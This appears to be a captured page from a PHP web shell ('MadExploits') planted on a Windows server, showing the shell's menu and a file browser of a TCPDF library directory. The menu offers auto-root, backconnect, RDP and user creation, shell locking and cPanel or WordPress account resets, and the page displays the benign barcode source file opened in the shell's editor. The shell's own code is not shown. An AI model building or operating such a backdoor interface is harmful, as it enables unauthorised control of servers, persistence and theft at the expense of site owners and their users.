Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
htdocs /
edgpens /
pdf /
_tcpdf_5.0.002 /
[ HOME SHELL ]
Name
Size
Permission
Action
cache
[ DIR ]
drwxrwxrwx
config
[ DIR ]
drwxrwxrwx
doc
[ DIR ]
drwxrwxrwx
examples
[ DIR ]
drwxrwxrwx
fonts
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
2dbarcodes.php
5.82
KB
-rw-rw-rw-
CHANGELOG.TXT
55.33
KB
-rw-rw-rw-
LICENSE.TXT
25.81
KB
-rw-rw-rw-
README.TXT
3.65
KB
-rw-rw-rw-
barcodes.php
59.1
KB
-rw-rw-rw-
htmlcolors.php
5.82
KB
-rw-rw-rw-
qrcode.php
81.04
KB
-rw-rw-rw-
tcpdf.crt
2.24
KB
-rw-rw-rw-
tcpdf.fdf
1.26
KB
-rw-rw-rw-
tcpdf.php
698.18
KB
-rw-rw-rw-
unicode_data.php
222.47
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : 2dbarcodes.php
<?php //============================================================+ // File name : 2dbarcodes.php // Begin : 2009-04-07 // Last Update : 2010-04-30 // Version : 1.0.003 // License : GNU LGPL (http://www.gnu.org/copyleft/lesser.html) // ---------------------------------------------------------------------------- // Copyright (C) 2008-2009 Nicola Asuni - Tecnick.com S.r.l. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Lesser General Public License as published by // the Free Software Foundation, either version 2.1 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // // See LICENSE.TXT file for more information. // ---------------------------------------------------------------------------- // // Description : PHP class to creates array representations for // 2D barcodes to be used with TCPDF. // // Author: Nicola Asuni // // (c) Copyright: // Nicola Asuni // Tecnick.com S.r.l. // Via della Pace, 11 // 09044 Quartucciu (CA) // ITALY // www.tecnick.com // info@tecnick.com //============================================================+ /** * PHP class to creates array representations for 2D barcodes to be used with TCPDF. * @package com.tecnick.tcpdf * @abstract Functions for generating string representation of 2D barcodes. * @author Nicola Asuni * @copyright 2008-2009 Nicola Asuni - Tecnick.com S.r.l (www.tecnick.com) Via Della Pace, 11 - 09044 - Quartucciu (CA) - ITALY - www.tecnick.com - info@tecnick.com * @link http://www.tcpdf.org * @license http://www.gnu.org/copyleft/lesser.html LGPL * @version 1.0.003 */ /** * PHP class to creates array representations for 2D barcodes to be used with TCPDF (http://www.tcpdf.org).<br> * @name TCPDFBarcode * @package com.tecnick.tcpdf * @version 1.0.003 * @author Nicola Asuni * @link http://www.tcpdf.org * @license http://www.gnu.org/copyleft/lesser.html LGPL */ class TCPDF2DBarcode { /** * @var array representation of barcode. * @access protected */ protected $barcode_array = false; /** * This is the class constructor. * Return an array representations for 2D barcodes:<ul> * <li>$arrcode['code'] code to be printed on text label</li> * <li>$arrcode['num_rows'] required number of rows</li> * <li>$arrcode['num_cols'] required number of columns</li> * <li>$arrcode['bcode'][$r][$c] value of the cell is $r row and $c column (0 = transparent, 1 = black)</li></ul> * @param string $code code to print * @param string $type type of barcode: <ul>li>RAW: raw mode - comma-separad list of array rows</li><li>RAW2: raw mode - array rows are surrounded by square parenthesis.</li><li>QRCODE : QR-CODE Low error correction</li><li>QRCODE,L : QR-CODE Low error correction</li><li>QRCODE,M : QR-CODE Medium error correction</li><li>QRCODE,Q : QR-CODE Better error correction</li><li>QRCODE,H : QR-CODE Best error correction</li></ul> */ public function __construct($code, $type) { $this->setBarcode($code, $type); } /** * Return an array representations of barcode. * @return array */ public function getBarcodeArray() { return $this->barcode_array; } /** * Set the barcode. * @param string $code code to print * @param string $type type of barcode: <ul><li>RAW: raw mode - comma-separad list of array rows</li><li>RAW2: raw mode - array rows are surrounded by square parenthesis.</li><li>QRCODE : QR-CODE Low error correction</li><li>QRCODE,L : QR-CODE Low error correction</li><li>QRCODE,M : QR-CODE Medium error correction</li><li>QRCODE,Q : QR-CODE Better error correction</li><li>QRCODE,H : QR-CODE Best error correction</li></ul> * @return array */ public function setBarcode($code, $type) { $mode = explode(',', $type); $qrtype = strtoupper($mode[0]); switch ($qrtype) { case 'QRCODE': { // QR-CODE require_once(dirname(__FILE__).'/qrcode.php'); if (!isset($mode[1]) OR (!in_array($mode[1],array('L','M','Q','H')))) { $mode[1] = 'L'; // Ddefault: Low error correction } $qrcode = new QRcode($code, strtoupper($mode[1])); $this->barcode_array = $qrcode->getBarcodeArray(); break; } case 'RAW': case 'RAW2': { // RAW MODE // remove spaces $code = preg_replace('/[\s]*/si', '', $code); if (strlen($code) < 3) { break; } if ($qrtype == 'RAW') { // comma-separated rows $rows = explode(',', $code); } else { // rows enclosed in square parethesis $code = substr($code, 1, -1); $rows = explode('][', $code); } $this->barcode_array['num_rows'] = count($rows); $this->barcode_array['num_cols'] = strlen($rows[0]); $this->barcode_array['bcode'] = array(); foreach ($rows as $r) { $this->barcode_array['bcode'][] = str_split($r, 1); } break; } case 'TEST': { // TEST MODE $this->barcode_array['num_rows'] = 5; $this->barcode_array['num_cols'] = 15; $this->barcode_array['bcode'] = array( array(1,1,1,0,1,1,1,0,1,1,1,0,1,1,1), array(0,1,0,0,1,0,0,0,1,0,0,0,0,1,0), array(0,1,0,0,1,1,0,0,1,1,1,0,0,1,0), array(0,1,0,0,1,0,0,0,0,0,1,0,0,1,0), array(0,1,0,0,1,1,1,0,1,1,1,0,0,1,0)); break; } default: { $this->barcode_array = false; } } } } // end of class //============================================================+ // END OF FILE //============================================================+ ?>
Close